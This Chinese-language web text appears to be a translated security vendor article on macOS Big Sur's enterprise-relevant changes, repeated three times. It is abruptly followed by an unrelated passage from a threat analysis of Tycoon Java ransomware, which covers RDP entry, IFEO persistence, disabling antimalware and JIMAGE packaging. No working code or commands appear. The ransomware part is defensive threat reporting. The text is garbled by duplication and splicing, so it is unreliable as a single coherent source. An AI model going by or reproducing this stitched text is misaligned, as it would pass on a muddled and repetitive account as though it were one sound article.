macOS Big Sur是由苹果公司研发的macOS桌面操作系统。北京时间2020年06月23日,在2020苹果全球开发者大会上,苹果正式发布了macOS的下一个版本:macOS 11.0,正式称为macOS Big Sur。macOS Big Sur将世界上的台式机操作系统提升到了新的功能和水平。

为了利用Big Sur中macOS带来的变化,你当然需要兼容的Apple硬件。 macOS Big Sur共有7条受支持的产品线,最早的受支持型号可以追溯到2013年:

Mac Pro,2013年及更高版本;

MacBook Air,2013年及更高版本;

MacBook Pro,2013年及更高版本;

Mac Mini,2014年及更高版本;

iMac,2014年及更高版本;

MacBook,2015年及更高版本;

iMac Pro,2017年及更高版本。

Big Sur版本号:是macOS 10.16还是11.0?

macOS Big Sur beta的第一版引起了巨大的震撼,周一在Apple的Keynote中都没有明确提及这两个版本。现在,Big Sur将成为第一个macOS 11.0!

1.jpg

甚至Apple自己的软件更新检查也可能需要10秒钟的时间,而第一个测试版的发布时间是10.16(也可能是其余的Beta;实际上,有很多内部文档引用“ 10.16”)。

3.jpg

Kexts暂时中止执行

另一个令人惊讶的事实是,尽管苹果确实已经设置了足够的障碍,使开发人员和用户希望尽快从kext过渡并迁移到使用System Extensions和Linux。

尽管如此,对于具有关键依赖性的企业来说,kext仍然是一个开放的可能性,并且有一个新的kmutil工具可以管理Big Sur上的kext和“kext collections”的加载,卸载和诊断。

企业将能够升级到macOS Big Sur,而不必担心依赖内核扩展的软件会失去功能。但是,应该注意,kextutil和kextload现在已被kmutil取代,并且对它们的工作方式进行了更改和限制。

苹果公司已经明确表示,要让开发人员远离kexts,建议如下:

4.png

SentinelOne客户可以放心,即将推出的macOS 4.4代理程序不使用kexts,并且将与macOS 10.15 Catalina和macOS Big Sur兼容。

使用Rosetta 2,兼容Apple芯片和通用二进制文件

苹果将为macOS采用基于arm的芯片组,在2020年全球开发者大会上被称为“苹果芯片”。虽然目前还没有基于ARM的硬件,但开发人员过渡工具包也已提供,苹果公司表示希望在2020年末开始交付ARM Mac。

为了促成这一转变,苹果重新启用了一位熟悉的老朋友:Rosetta。被重新命名为Rosetta 2的这种软件层技术将允许在英特尔架构上编译的某些软件在arm驱动的设备上运行。

然而,Rosetta 2有几个问题。首先,转换不可避免地要花费时间,而且再聪明的优化也改变不了这样一个事实:一些依赖于Rosetta 2的应用程序的启动或运行速度会比它们在Intel架构上编译时慢。为了避免这个问题,苹果还引入了一种新的多架构、通用(又名Fat)二进制格式。这允许开发者将现有macOS应用移植到苹果芯片上运行。对于Xcode 12或更高版本,开发人员可以构建一个包含两种设备架构的“胖”二进制文件:不需要基于arm的Mac来编译这些通用二进制文件。

Rosetta 2的第二个问题是,它无法将所有在英特尔架构上编译的软件转换成可以在苹果芯片上运行的东西。特别是,不支持Windows虚拟化软件和内核版本。目前还不清楚macOS上的Windows虚拟机的未来是什么,不过VMWare至少似乎仍然对一切都还抱有希望。

5.jpg

苹果公司预计将在2年内实现向ARM的广泛过渡,这不会对企业产生任何直接影响,但是从中长期来看,IT团队将需要清点哪些应用程序可以使用通用二进制文件在本机上运行,它们在Rosetta 2转换下正在工作,这是不兼容的。

正如本文前面所述,影响企业的最大选择可能是决定何时升级硬件,以及在进一步购买之前等待ARM驱动的Mac是否符合你的企业的最大利益。

除了我们已经介绍的重大更改之外,还有一些重要的更改。其中包括macOS 11将密码签名带入系统卷。在Catalina中,Apple已经进行了体系结构更改,将根卷分为两个:只读的System卷和其他所有的Data卷。

现在,系统卷通过加密验证得到了额外的保护,以防止脱机攻击和恶意篡改。

自从Apple在macOS El Capitan 10.11中引入系统完整性保护方法以来,这种系统容量的强化应该不会给IT和安全团队带来太多挑战。

但是,有一些结果。一种是FileVault不再需要在macOS 11上的静止状态下对系统卷进行加密。如果已打开FileVault加密,则数据卷仍将受到保护。

其次,尝试通过关闭系统完整性保护来引导操作系统的“实时”版本(即,可写文件系统)将不再起作用。可以在未引导时禁用保护并进行修改,但是“实时”修改现在不在macOS 11中。

7.jpg

首先,据macrumors报道,这款存在已久的Network Utility已经被“弃用”了,尽管从我们的判断来看,它实际上现在完全无法运行。

8.png

Network Utility包含许多有用的工具,例如Netstat,Ping,Traceroute和端口扫描。

苹果还向Safari添加了一个有用的“隐私跟踪器”和“阻止器”,它使用户可以查看网站正在使用的跟踪cookie以及Safari已阻止的跟踪器。 “隐私”工具栏按钮在此处公开报告,可通过弹出窗口提供详细的见解,以及从内部访问的更多其他弹出窗口。

9.jpg

鉴于所有流行浏览器中都广泛使用扩展名,安全团队将希望注意macOS Big Sur中的新Web扩展功能。这使现有的Chrome和Firefox扩展可以轻松地转换为通过xcrun工具与Safari 14结合使用。苹果希望通过继续坚持必须通过其App Store分发浏览器扩展来缓解有关安全的担忧,还有一些用于管理浏览器扩展的新用户控件。

据报道,Safari 14默认也会启用HTTP / 3。根据Apple的发行说明,Big Sur通过“开发人员”菜单中的“实验功能”在Safari中启用了实验HTTP / 3支持。可以使用以下终端命令在系统范围内启用它:

10.png

由于我们讨论的是命令行,macOS 11中的另一个网络更改与networksetup实用程序有关,即/usr/sbin/networksetup。从Big Sur开始,此工具将不再允许标准用户更改网络设置。标准用户将能够打开和关闭Wifi并阅读网络设置,但是修改将需要管理员用户名和密码。

总体而言,这些更改应有助于增强网络安全性。对networksetup命令行工具的更改符合标准用户在System Preferences.app中拥有的权限,很高兴看到Apple在各个工具之间保持一致。

只要苹果的App Store能够及时有效地监视和删除恶意或滥用行为,我们也不会认为浏览器扩展的增加会带来更大的攻击面。当然,这是苹果的责任,而企业安全团队可能会感到,考虑到恶意扩展的历史以及我们有多少私有扩展,通过MDM或类似配置工具来锁定浏览器扩展的安装是值得考虑的事情。敏感数据通过浏览器应用程序传递。在此基础上,新的隐私报告工具是Big Sur中Safari 14的受欢迎补充。

最后,在网络上,删除Network Utility应用程序不会在IT团队之间引起很大的困扰。你可能已经在使用与其提供GUI包装器的工具等效的命令行,因此我们不希望太多人会错过它。

证书信任:有根证书是远远不够的

在macOS Catalina和更早版本中,如果有效用户通过add-trusted-cert标志以root身份运行,则可以使用命令行安全工具来更改证书信任设置,如Catalina安装工具手册页中所示:

11.jpg

在macOS Big Sur中,仅以UID 0运行将不再足以进行此更改:需要使用管理员密码进行确认。

为了对托管企业环境表示感谢,Apple将允许进行更改而无需确认是否使用配置文件将证书有效载荷与根证书一起部署。

这对企业意味着,如果你使用安全命令行工具来更改信任设置或调用SecTrustSettingsSetTrustSettings函数的特权进程,则这种对证书信任设置的欢迎强化可能会影响你的工作流程。

配置文件得到优先处理

通过命令行配置文件工具或“配置文件系统偏好设置”窗格管理的配置配置文件已经被macOS恶意软件滥用了一段时间。其中最主要的是试图操纵浏览器主页和搜索设置的广告软件感染,尽管也有恶意配置DNS设置的。在苹果采取措施锁定OS先前版本中的Safari浏览器首选项之后,配置文件开始成为广告软件的首选目标。

在macOS Big Sur中,Apple承认滥用配置文件,现在提高了其安装标准。除非设备已注册到MDM程序中,否则安装配置文件现在将要求用户在“系统偏好设置”应用中手动完成配置文件的安装,其中还会有一个窗口描述概要文件的实际行为。

有点奇怪的是,此操作有8分钟的超时:如果用户未在该时间内完成安装,则macOS Big Sur会将其从系统偏好设置中删除。

这意味着,你的企业很可能仅通过MDM解决方案使用配置文件,因此这种更改不会产生很大影响。如果由于某种原因要手动编写概要文件的安装脚本,则需要进行用户培训,教他们如何完成这些步骤(在8分钟内完成!)。

尽管毫无疑问,广告软件和其他macOS恶意软件供应商将尝试通过社会工程手段恶意使用个人资料,但这一变化对减少一些最严重的违法者将产生重要的影响。

令人惊讶的是,在应用程序安全方面没有什么令人惊讶的表现。虽然WWDC 2020远未结束,但我们还没有看到任何关于苹果将改变macOS 11应用程序安全方法的声明或建议。由于如此多的幕后变化都集中在安全性上,企业安全团队可能一直希望有一些重大的发展,但这仍有待观察。

在macOS 11中,苹果似乎将继续依赖在macOS 10.x多年中一直在缓慢发展的模型,但是在依靠静态签名进行阻止和检测方面,该模型仍然落后于其他程序应用程序的安全模型仍然是这样的:

保护:通过Gatekeeper进行代码签名,公证和系统策略检查;

检测:通过XProtect中的静态Yara规则阻止恶意软件;

删除:通过MRT.app中的静态检测签名删除已知恶意软件。

这对企业意味着,尽管苹果公司非常重视安全性,并且Big Sur的一些变化令人欢迎,但它确实在某些方面与众不同。甚至Windows现在都具有一些基本的行为检测功能,并且Apple对Gatekeeper,XProtect和MRT.app的使用也开始显得过时了。

攻击者从10.14开始使用简单的社会工程手段发起攻击,让Gatekeeper和Notarization的安全能力看起来像是摆设一样,但这种情况只是有所改善。 XProtect的静态YARA规则依赖于Apple已知的恶意软件。即,某些用户或企业必须先被感染,然后Apple才能更新签名,而MRT.app仅在更新后运行,用户登录或重新启动MRT.app。 意味着在Mac实际使用的大部分时间内,它是无能为力进行防护的。

此外,对于企业安全团队而言,这些工具正在执行或已执行的操作没有可见性。即使使用Apple的最新macOS版本、新名称、新版本号和许多新功能,仍然需要通过行为安全平台保护Mac,该行为安全平台可以检测、保护和报告已知和未知的恶意活动。

macOS Big Sur是由苹果公司研发的macOS桌面操作系统。北京时间2020年06月23日,在2020苹果全球开发者大会上,苹果正式发布了macOS的下一个版本:macOS 11.0,正式称为macOS Big Sur。macOS Big Sur将世界上的台式机操作系统提升到了新的功能和水平。

为了利用Big Sur中macOS带来的变化,你当然需要兼容的Apple硬件。 macOS Big Sur共有7条受支持的产品线,最早的受支持型号可以追溯到2013年:

Mac Pro,2013年及更高版本;

MacBook Air,2013年及更高版本;

MacBook Pro,2013年及更高版本;

Mac Mini,2014年及更高版本;

iMac,2014年及更高版本;

MacBook,2015年及更高版本;

iMac Pro,2017年及更高版本。

Big Sur版本号:是macOS 10.16还是11.0?

macOS Big Sur beta的第一版引起了巨大的震撼,周一在Apple的Keynote中都没有明确提及这两个版本。现在,Big Sur将成为第一个macOS 11.0!

1.jpg

甚至Apple自己的软件更新检查也可能需要10秒钟的时间,而第一个测试版的发布时间是10.16(也可能是其余的Beta;实际上,有很多内部文档引用“ 10.16”)。

3.jpg

Kexts暂时中止执行

另一个令人惊讶的事实是,尽管苹果确实已经设置了足够的障碍,使开发人员和用户希望尽快从kext过渡并迁移到使用System Extensions和Linux。

尽管如此,对于具有关键依赖性的企业来说,kext仍然是一个开放的可能性,并且有一个新的kmutil工具可以管理Big Sur上的kext和“kext collections”的加载,卸载和诊断。

企业将能够升级到macOS Big Sur,而不必担心依赖内核扩展的软件会失去功能。但是,应该注意,kextutil和kextload现在已被kmutil取代,并且对它们的工作方式进行了更改和限制。

苹果公司已经明确表示,要让开发人员远离kexts,建议如下:

4.png

SentinelOne客户可以放心,即将推出的macOS 4.4代理程序不使用kexts,并且将与macOS 10.15 Catalina和macOS Big Sur兼容。

使用Rosetta 2,兼容Apple芯片和通用二进制文件

苹果将为macOS采用基于arm的芯片组,在2020年全球开发者大会上被称为“苹果芯片”。虽然目前还没有基于ARM的硬件,但开发人员过渡工具包也已提供,苹果公司表示希望在2020年末开始交付ARM Mac。

为了促成这一转变,苹果重新启用了一位熟悉的老朋友:Rosetta。被重新命名为Rosetta 2的这种软件层技术将允许在英特尔架构上编译的某些软件在arm驱动的设备上运行。

然而,Rosetta 2有几个问题。首先,转换不可避免地要花费时间,而且再聪明的优化也改变不了这样一个事实:一些依赖于Rosetta 2的应用程序的启动或运行速度会比它们在Intel架构上编译时慢。为了避免这个问题,苹果还引入了一种新的多架构、通用(又名Fat)二进制格式。这允许开发者将现有macOS应用移植到苹果芯片上运行。对于Xcode 12或更高版本,开发人员可以构建一个包含两种设备架构的“胖”二进制文件:不需要基于arm的Mac来编译这些通用二进制文件。

Rosetta 2的第二个问题是,它无法将所有在英特尔架构上编译的软件转换成可以在苹果芯片上运行的东西。特别是,不支持Windows虚拟化软件和内核版本。目前还不清楚macOS上的Windows虚拟机的未来是什么,不过VMWare至少似乎仍然对一切都还抱有希望。

5.jpg

苹果公司预计将在2年内实现向ARM的广泛过渡,这不会对企业产生任何直接影响,但是从中长期来看,IT团队将需要清点哪些应用程序可以使用通用二进制文件在本机上运行,它们在Rosetta 2转换下正在工作,这是不兼容的。

正如本文前面所述,影响企业的最大选择可能是决定何时升级硬件,以及在进一步购买之前等待ARM驱动的Mac是否符合你的企业的最大利益。

除了我们已经介绍的重大更改之外,还有一些重要的更改。其中包括macOS 11将密码签名带入系统卷。在Catalina中,Apple已经进行了体系结构更改,将根卷分为两个:只读的System卷和其他所有的Data卷。

现在,系统卷通过加密验证得到了额外的保护,以防止脱机攻击和恶意篡改。

自从Apple在macOS El Capitan 10.11中引入系统完整性保护方法以来,这种系统容量的强化应该不会给IT和安全团队带来太多挑战。

但是,有一些结果。一种是FileVault不再需要在macOS 11上的静止状态下对系统卷进行加密。如果已打开FileVault加密,则数据卷仍将受到保护。

其次,尝试通过关闭系统完整性保护来引导操作系统的“实时”版本(即,可写文件系统)将不再起作用。可以在未引导时禁用保护并进行修改,但是“实时”修改现在不在macOS 11中。

7.jpg

首先,据macrumors报道,这款存在已久的Network Utility已经被“弃用”了,尽管从我们的判断来看,它实际上现在完全无法运行。

8.png

Network Utility包含许多有用的工具,例如Netstat,Ping,Traceroute和端口扫描。

苹果还向Safari添加了一个有用的“隐私跟踪器”和“阻止器”,它使用户可以查看网站正在使用的跟踪cookie以及Safari已阻止的跟踪器。 “隐私”工具栏按钮在此处公开报告,可通过弹出窗口提供详细的见解,以及从内部访问的更多其他弹出窗口。

9.jpg

鉴于所有流行浏览器中都广泛使用扩展名,安全团队将希望注意macOS Big Sur中的新Web扩展功能。这使现有的Chrome和Firefox扩展可以轻松地转换为通过xcrun工具与Safari 14结合使用。苹果希望通过继续坚持必须通过其App Store分发浏览器扩展来缓解有关安全的担忧,还有一些用于管理浏览器扩展的新用户控件。

据报道,Safari 14默认也会启用HTTP / 3。根据Apple的发行说明,Big Sur通过“开发人员”菜单中的“实验功能”在Safari中启用了实验HTTP / 3支持。可以使用以下终端命令在系统范围内启用它:

10.png

由于我们讨论的是命令行,macOS 11中的另一个网络更改与networksetup实用程序有关,即/usr/sbin/networksetup。从Big Sur开始,此工具将不再允许标准用户更改网络设置。标准用户将能够打开和关闭Wifi并阅读网络设置,但是修改将需要管理员用户名和密码。

总体而言,这些更改应有助于增强网络安全性。对networksetup命令行工具的更改符合标准用户在System Preferences.app中拥有的权限,很高兴看到Apple在各个工具之间保持一致。

只要苹果的App Store能够及时有效地监视和删除恶意或滥用行为,我们也不会认为浏览器扩展的增加会带来更大的攻击面。当然,这是苹果的责任,而企业安全团队可能会感到,考虑到恶意扩展的历史以及我们有多少私有扩展,通过MDM或类似配置工具来锁定浏览器扩展的安装是值得考虑的事情。敏感数据通过浏览器应用程序传递。在此基础上,新的隐私报告工具是Big Sur中Safari 14的受欢迎补充。

最后,在网络上,删除Network Utility应用程序不会在IT团队之间引起很大的困扰。你可能已经在使用与其提供GUI包装器的工具等效的命令行,因此我们不希望太多人会错过它。

证书信任:有根证书是远远不够的

在macOS Catalina和更早版本中,如果有效用户通过add-trusted-cert标志以root身份运行,则可以使用命令行安全工具来更改证书信任设置,如Catalina安装工具手册页中所示:

11.jpg

在macOS Big Sur中,仅以UID 0运行将不再足以进行此更改:需要使用管理员密码进行确认。

为了对托管企业环境表示感谢,Apple将允许进行更改而无需确认是否使用配置文件将证书有效载荷与根证书一起部署。

这对企业意味着,如果你使用安全命令行工具来更改信任设置或调用SecTrustSettingsSetTrustSettings函数的特权进程,则这种对证书信任设置的欢迎强化可能会影响你的工作流程。

配置文件得到优先处理

通过命令行配置文件工具或“配置文件系统偏好设置”窗格管理的配置配置文件已经被macOS恶意软件滥用了一段时间。其中最主要的是试图操纵浏览器主页和搜索设置的广告软件感染,尽管也有恶意配置DNS设置的。在苹果采取措施锁定OS先前版本中的Safari浏览器首选项之后,配置文件开始成为广告软件的首选目标。

在macOS Big Sur中,Apple承认滥用配置文件,现在提高了其安装标准。除非设备已注册到MDM程序中,否则安装配置文件现在将要求用户在“系统偏好设置”应用中手动完成配置文件的安装,其中还会有一个窗口描述概要文件的实际行为。

有点奇怪的是,此操作有8分钟的超时:如果用户未在该时间内完成安装,则macOS Big Sur会将其从系统偏好设置中删除。

这意味着,你的企业很可能仅通过MDM解决方案使用配置文件,因此这种更改不会产生很大影响。如果由于某种原因要手动编写概要文件的安装脚本,则需要进行用户培训,教他们如何完成这些步骤(在8分钟内完成!)。

尽管毫无疑问,广告软件和其他macOS恶意软件供应商将尝试通过社会工程手段恶意使用个人资料,但这一变化对减少一些最严重的违法者将产生重要的影响。

令人惊讶的是,在应用程序安全方面没有什么令人惊讶的表现。虽然WWDC 2020远未结束,但我们还没有看到任何关于苹果将改变macOS 11应用程序安全方法的声明或建议。由于如此多的幕后变化都集中在安全性上,企业安全团队可能一直希望有一些重大的发展,但这仍有待观察。

在macOS 11中,苹果似乎将继续依赖在macOS 10.x多年中一直在缓慢发展的模型,但是在依靠静态签名进行阻止和检测方面,该模型仍然落后于其他程序应用程序的安全模型仍然是这样的:

保护:通过Gatekeeper进行代码签名,公证和系统策略检查;

检测:通过XProtect中的静态Yara规则阻止恶意软件;

删除:通过MRT.app中的静态检测签名删除已知恶意软件。

这对企业意味着,尽管苹果公司非常重视安全性,并且Big Sur的一些变化令人欢迎,但它确实在某些方面与众不同。甚至Windows现在都具有一些基本的行为检测功能,并且Apple对Gatekeeper,XProtect和MRT.app的使用也开始显得过时了。

攻击者从10.14开始使用简单的社会工程手段发起攻击,让Gatekeeper和Notarization的安全能力看起来像是摆设一样,但这种情况只是有所改善。 XProtect的静态YARA规则依赖于Apple已知的恶意软件。即,某些用户或企业必须先被感染,然后Apple才能更新签名,而MRT.app仅在更新后运行,用户登录或重新启动MRT.app。 意味着在Mac实际使用的大部分时间内,它是无能为力进行防护的。

此外,对于企业安全团队而言,这些工具正在执行或已执行的操作没有可见性。即使使用Apple的最新macOS版本、新名称、新版本号和许多新功能,仍然需要通过行为安全平台保护Mac,该行为安全平台可以检测、保护和报告已知和未知的恶意活动。

macOS Big Sur是由苹果公司研发的macOS桌面操作系统。北京时间2020年06月23日,在2020苹果全球开发者大会上,苹果正式发布了macOS的下一个版本:macOS 11.0,正式称为macOS Big Sur。macOS Big Sur将世界上的台式机操作系统提升到了新的功能和水平。

为了利用Big Sur中macOS带来的变化,你当然需要兼容的Apple硬件。 macOS Big Sur共有7条受支持的产品线,最早的受支持型号可以追溯到2013年:

Mac Pro,2013年及更高版本;

MacBook Air,2013年及更高版本;

MacBook Pro,2013年及更高版本;

Mac Mini,2014年及更高版本;

iMac,2014年及更高版本;

MacBook,2015年及更高版本;

iMac Pro,2017年及更高版本。

Big Sur版本号:是macOS 10.16还是11.0?

macOS Big Sur beta的第一版引起了巨大的震撼,周一在Apple的Keynote中都没有明确提及这两个版本。现在,Big Sur将成为第一个macOS 11.0!

1.jpg

甚至Apple自己的软件更新检查也可能需要10秒钟的时间,而第一个测试版的发布时间是10.16(也可能是其余的Beta;实际上,有很多内部文档引用“ 10.16”)。

3.jpg

Kexts暂时中止执行

另一个令人惊讶的事实是,尽管苹果确实已经设置了足够的障碍,使开发人员和用户希望尽快从kext过渡并迁移到使用System Extensions和Linux。

尽管如此,对于具有关键依赖性的企业来说,kext仍然是一个开放的可能性,并且有一个新的kmutil工具可以管理Big Sur上的kext和“kext collections”的加载,卸载和诊断。

企业将能够升级到macOS Big Sur,而不必担心依赖内核扩展的软件会失去功能。但是,应该注意,kextutil和kextload现在已被kmutil取代,并且对它们的工作方式进行了更改和限制。

苹果公司已经明确表示,要让开发人员远离kexts,建议如下:

4.png

SentinelOne客户可以放心,即将推出的macOS 4.4代理程序不使用kexts,并且将与macOS 10.15 Catalina和macOS Big Sur兼容。

使用Rosetta 2,兼容Apple芯片和通用二进制文件

苹果将为macOS采用基于arm的芯片组,在2020年全球开发者大会上被称为“苹果芯片”。虽然目前还没有基于ARM的硬件,但开发人员过渡工具包也已提供,苹果公司表示希望在2020年末开始交付ARM Mac。

为了促成这一转变,苹果重新启用了一位熟悉的老朋友:Rosetta。被重新命名为Rosetta 2的这种软件层技术将允许在英特尔架构上编译的某些软件在arm驱动的设备上运行。

然而,Rosetta 2有几个问题。首先,转换不可避免地要花费时间,而且再聪明的优化也改变不了这样一个事实:一些依赖于Rosetta 2的应用程序的启动或运行速度会比它们在Intel架构上编译时慢。为了避免这个问题,苹果还引入了一种新的多架构、通用(又名Fat)二进制格式。这允许开发者将现有macOS应用移植到苹果芯片上运行。对于Xcode 12或更高版本,开发人员可以构建一个包含两种设备架构的“胖”二进制文件:不需要基于arm的Mac来编译这些通用二进制文件。

Rosetta 2的第二个问题是,它无法将所有在英特尔架构上编译的软件转换成可以在苹果芯片上运行的东西。特别是,不支持Windows虚拟化软件和内核版本。目前还不清楚macOS上的Windows虚拟机的未来是什么,不过VMWare至少似乎仍然对一切都还抱有希望。

5.jpg

苹果公司预计将在2年内实现向ARM的广泛过渡,这不会对企业产生任何直接影响,但是从中长期来看,IT团队将需要清点哪些应用程序可以使用通用二进制文件在本机上运行,它们在Rosetta 2转换下正在工作,这是不兼容的。

正如本文前面所述,影响企业的最大选择可能是决定何时升级硬件,以及在进一步购买之前等待ARM驱动的Mac是否符合你的企业的最大利益。

除了我们已经介绍的重大更改之外,还有一些重要的更改。其中包括macOS 11将密码签名带入系统卷。在Catalina中,Apple已经进行了体系结构更改,将根卷分为两个:只读的System卷和其他所有的Data卷。

现在,系统卷通过加密验证得到了额外的保护,以防止脱机攻击和恶意篡改。

自从Apple在macOS El Capitan 10.11中引入系统完整性保护方法以来,这种系统容量的强化应该不会给IT和安全团队带来太多挑战。

但是,有一些结果。一种是FileVault不再需要在macOS 11上的静止状态下对系统卷进行加密。如果已打开FileVault加密,则数据卷仍将受到保护。

其次,尝试通过关闭系统完整性保护来引导操作系统的“实时”版本(即,可写文件系统)将不再起作用。可以在未引导时禁用保护并进行修改,但是“实时”修改现在不在macOS 11中。

7.jpg

首先,据macrumors报道,这款存在已久的Network Utility已经被“弃用”了,尽管从我们的判断来看,它实际上现在完全无法运行。

8.png

Network Utility包含许多有用的工具,例如Netstat,Ping,Traceroute和端口扫描。

苹果还向Safari添加了一个有用的“隐私跟踪器”和“阻止器”,它使用户可以查看网站正在使用的跟踪cookie以及Safari已阻止的跟踪器。 “隐私”工具栏按钮在此处公开报告,可通过弹出窗口提供详细的见解,以及从内部访问的更多其他弹出窗口。

9.jpg

鉴于所有流行浏览器中都广泛使用扩展名,安全团队将希望注意macOS Big Sur中的新Web扩展功能。这使现有的Chrome和Firefox扩展可以轻松地转换为通过xcrun工具与Safari 14结合使用。苹果希望通过继续坚持必须通过其App Store分发浏览器扩展来缓解有关安全的担忧,还有一些用于管理浏览器扩展的新用户控件。

据报道,Safari 14默认也会启用HTTP / 3。根据Apple的发行说明,Big Sur通过“开发人员”菜单中的“实验功能”在Safari中启用了实验HTTP / 3支持。可以使用以下终端命令在系统范围内启用它:

10.png

由于我们讨论的是命令行,macOS 11中的另一个网络更改与networksetup实用程序有关,即/usr/sbin/networksetup。从Big Sur开始,此工具将不再允许标准用户更改网络设置。标准用户将能够打开和关闭Wifi并阅读网络设置,但是修改将需要管理员用户名和密码。

总体而言,这些更改应有助于增强网络安全性。对networksetup命令行工具的更改符合标准用户在System Preferences.app中拥有的权限,很高兴看到Apple在各个工具之间保持一致。

只要苹果的App Store能够及时有效地监视和删除恶意或滥用行为,我们也不会认为浏览器扩展的增加会带来更大的攻击面。当然,这是苹果的责任,而企业安全团队可能会感到,考虑到恶意扩展的历史以及我们有多少私有扩展,通过MDM或类似配置工具来锁定浏览器扩展的安装是值得考虑的事情。敏感数据通过浏览器应用程序传递。在此基础上,新的隐私报告工具是Big Sur中Safari 14的受欢迎补充。

最后,在网络上,删除Network Utility应用程序不会在IT团队之间引起很大的困扰。你可能已经在使用与其提供GUI包装器的工具等效的命令行,因此我们不希望太多人会错过它。

证书信任:有根证书是远远不够的

在macOS Catalina和更早版本中,如果有效用户通过add-trusted-cert标志以root身份运行,则可以使用命令行安全工具来更改证书信任设置,如Catalina安装工具手册页中所示:

11.jpg

在macOS Big Sur中,仅以UID 0运行将不再足以进行此更改:需要使用管理员密码进行确认。

为了对托管企业环境表示感谢,Apple将允许进行更改而无需确认是否使用配置文件将证书有效载荷与根证书一起部署。

这对企业意味着,如果你使用安全命令行工具来更改信任设置或调用SecTrustSettingsSetTrustSettings函数的特权进程,则这种对证书信任设置的欢迎强化可能会影响你的工作流程。

配置文件得到优先处理

通过命令行配置文件工具或“配置文件系统偏好设置”窗格管理的配置配置文件已经被macOS恶意软件滥用了一段时间。其中最主要的是试图操纵浏览器主页和搜索设置的广告软件感染,尽管也有恶意配置DNS设置的。在苹果采取措施锁定OS先前版本中的Safari浏览器首选项之后,配置文件开始成为广告软件的首选目标。

在macOS Big Sur中,Apple承认滥用配置文件,现在提高了其安装标准。除非设备已注册到MDM程序中,否则安装配置文件现在将要求用户在“系统偏好设置”应用中手动完成配置文件的安装,其中还会有一个窗口描述概要文件的实际行为。

有点奇怪的是,此操作有8分钟的超时:如果用户未在该时间内完成安装,则macOS Big Sur会将其从系统偏好设置中删除。

这意味着,你的企业很可能仅通过MDM解决方案使用配置文件,因此这种更改不会产生很大影响。如果由于某种原因要手动编写概要文件的安装脚本,则需要进行用户培训,教他们如何完成这些步骤(在8分钟内完成!)。

尽管毫无疑问,广告软件和其他macOS恶意软件供应商将尝试通过社会工程手段恶意使用个人资料,但这一变化对减少一些最严重的违法者将产生重要的影响。

令人惊讶的是,在应用程序安全方面没有什么令人惊讶的表现。虽然WWDC 2020远未结束,但我们还没有看到任何关于苹果将改变macOS 11应用程序安全方法的声明或建议。由于如此多的幕后变化都集中在安全性上,企业安全团队可能一直希望有一些重大的发展,但这仍有待观察。

在macOS 11中,苹果似乎将继续依赖在macOS 10.x多年中一直在缓慢发展的模型,但是在依靠静态签名进行阻止和检测方面,该模型仍然落后于其他程序应用程序的安全模型仍然是这样的:

保护:通过Gatekeeper进行代码签名,公证和系统策略检查;

检测:通过XProtect中的静态Yara规则阻止恶意软件;

删除:通过MRT.app中的静态检测签名删除已知恶意软件。

这对企业意味着,尽管苹果公司非常重视安全性,并且Big Sur的一些变化令人欢迎,但它确实在某些方面与众不同。甚至Windows现在都具有一些基本的行为检测功能,并且Apple对Gatekeeper,XProtect和MRT.app的使用也开始显得过时了。

攻击者从10.14开始使用简单的社会工程手段发起攻击,让Gatekeeper和Notarization的安全能力看起来像是摆设一样,但这种情况只是有所改善。 XProtect的静态YARA规则依赖于Apple已知的恶意软件。即,某些用户或企业必须先被感染,然后Apple才能更新签名,而MRT.app仅在更新后运行,用户登录或重新启动MRT.app。 意味着在Mac实际使用的大部分时间内,它是无能为力进行防护的。

此外,对于企业安全团队而言,这些工具正在执行或已执行的操作没有可见性。即使使用Apple的最新macOS版本、新名称、新版本号和许多新功能,仍然需要通过行为安全平台保护Mac,该行为安全平台可以检测、保护和报告已知和未知的恶意活动。

01.png

前言

黑莓的安全研究部门最近发现了一种新型勒索软件,攻击了欧洲一家教育机构。与迄今为止发现的大多数勒索软件不同的是,这种新的勒索软件模块被编译成一种Java图像文件格式(JIMAGE)。JIMAGE是一种存储自定义的JRE映像的文件格式,它的设计是为了在运行时被Java虚拟机(JVM)使用。

Tycoon是针对Windows和Linux的多平台Java勒索软件,至少从2019年12月开始就在野外被观察到。它以木马Java运行时环境(JRE)的形式部署,并利用晦涩的Java图像格式在安全环境中运行。

人们观察到Tycoon背后的攻击者利用高度定向的传递机制渗透到教育和软件行业的中小型公司和机构,在那里他们会对文件服务器加密并索要赎金。然而,由于公共RSA私钥的重用,在早期的变体中可以恢复数据而不需要支付。

发现过程

BlackBerry研究与情报小组与毕马威(KPMG)的UK Cyber Response Services合作,最近发现了一种用Java编写的新勒索软件。该勒索软件被部署在针对一个组织的有针对性的攻击中,该组织的系统管理员的域控制器和文件服务器受到攻击后,被锁定在他们的系统之外。在对受感染的系统进行取证调查之后,很明显,最初的入侵是通过面向互联网的RDP跳线服务器发生的。

下图说明了攻击者如何设法获得初始访问权并开始感染整个场所的系统:

1.png

面向互联网的RDP服务器的事件后分析无法执行,因为它已被还原。但是,研究人员对受害设备的分析表明,攻击者使用的某些技术是异常且值得注意的:

1. 为了在受害者的设备上实现持久性,攻击者使用了一种称为“图像文件执行选项”(IFEO)注入的技术。 IFEO设置存储在Windows注册表中。这些设置使开发人员可以选择在目标应用程序执行期间通过调试应用程序的附件来调试软件。

2. 然后,在操作系统的Microsoft Windows屏幕键盘(OSK)功能旁边执行后门操作:

2.png

攻击者使用ProcessHacker实用程序禁用了组织的反恶意软件解决方案,并更改了Active Directory服务器的密码。这使受害者无法访问其系统。

大多数攻击者文件都带有时间戳,包括Java库和执行脚本,并且文件日期时间戳为2020年4月11日15:16:22:

3.png

最后,攻击者执行了Java勒索软件模块,对所有文件服务器进行了加密,包括连接到网络的备份系统。

攻击过程

Tycoon勒索软件以ZIP存档的形式出现,其中包含Trojanized Java Runtime Environment(JRE)构建。该恶意软件被编译为Java映像文件(JIMAGE),位于构建目录中的lib\modules。

JIMAGE是一种特殊的文件格式,用于存储自定义JRE映像,该映像设计用于Java虚拟机(JVM)在运行时使用。它包含支持特定JRE构建的所有Java模块的资源和类文件。该格式最初是在Java版本9中引入的,并且记录很少。与流行的Java存档格式(JAR)不同,JIMAGE主要位于JDK内部,很少被开发人员使用:

4.png

OpenJDK9 jimage实用程序可以提取和反编译Java图像文件:

5.png

提取后,勒索软件映像包含与一个名为“tycoon”的项目相关的三个模块:

6.png

ZIP存档的内容(左)和反编译的Java模块JIMAGE的结构(右)

勒索软件是通过执行shell脚本触发的,该脚本使用java -m命令运行恶意Java模块的Main函数。

